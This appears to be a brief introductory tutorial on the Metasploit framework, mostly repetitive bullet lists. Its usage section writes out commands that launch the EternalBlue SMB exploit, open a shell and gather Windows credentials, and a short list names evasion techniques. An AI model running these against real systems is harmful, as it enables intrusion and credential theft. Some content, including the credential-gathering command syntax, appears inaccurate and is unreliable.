Metasploit is an exploitation framework that provides tools for penetration testing and exploit development.

What is Metasploit?

Metasploit is an open-source framework that provides tools for penetration testing, exploit development and security research.

Components

Framework Core

  • Exploits: Exploitation modules
  • Payloads: Payloads
  • Auxiliaries: Auxiliary modules
  • Encoders: Encoders

Metasploit Pro

  • Web interface: Advanced web interface
  • Automation: Task automation
  • Reports: Advanced reports
  • Integration: Integration with other tools

Metasploit Community

  • Free version: Free version
  • Basic features: Basic features
  • Community: Community support
  • Documentation: Complete documentation

Features

Exploitation

  • Exploits: Vulnerability exploitation
  • Payloads: Payloads
  • Post-exploitation: Post-exploitation
  • Pivoting: Network pivoting

Development

  • Exploit development: Exploit creation
  • Payload development: Payload creation
  • Testing: Exploit testing
  • Debugging: Code debugging

Automation

  • Scripts: Automation scripts
  • Workflows: Workflows
  • Batch processing: Batch processing
  • Scheduling: Task scheduling

Basic Usage

Starting Metasploit

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# Start Metasploit
msfconsole

# View available commands
help

# Search exploits
search exploit

# Search payloads
search payload

Exploitation

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# Select exploit
use exploit/windows/smb/ms17_010_eternalblue

# Configure options
set RHOSTS 192.168.1.100
set LHOST 192.168.1.1

# Execute exploit
exploit

Post-exploitation

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# View system information
sysinfo

# Get shell
shell

# Load post-exploitation modules
load post/windows/gather/credentials

Modules

Exploits

  • Windows: Windows exploits
  • Linux: Linux exploits
  • Web: Web application exploits
  • Mobile: Mobile device exploits

Payloads

  • Shell: Command shells
  • Meterpreter: Advanced payload
  • Bind: Bind payloads
  • Reverse: Reverse payloads

Auxiliaries

  • Scanners: Network scanners
  • Fuzzers: Application fuzzers
  • Spoofers: Spoofers
  • Sniffers: Traffic capturers

Use Cases

Penetration Testing

  • Reconnaissance: Reconnaissance phase
  • Scanning: Target scanning
  • Exploitation: Vulnerability exploitation
  • Post-exploitation: Post-exploitation

Red Team

  • Simulation: Attack simulation
  • Evaluation: Defense evaluation
  • Training: Team training
  • Research: Security research

Development

  • Exploit development: Exploit creation
  • Testing: Security testing
  • Research: Vulnerability research
  • Education: Security education

Best Practices

Ethical Use

  • Authorization: Obtain authorization
  • Scope: Define testing scope
  • Documentation: Document activities
  • Responsibility: Assume responsibility

Techniques

  • Stealth: Use stealth techniques
  • Timing: Adjust attack timing
  • Fragmentation: Use fragmentation
  • Decoy: Use decoys

Analysis

  • Results: Analyze results
  • False Positives: Identify false positives
  • Correlation: Correlate with other data
  • Documentation: Document findings

References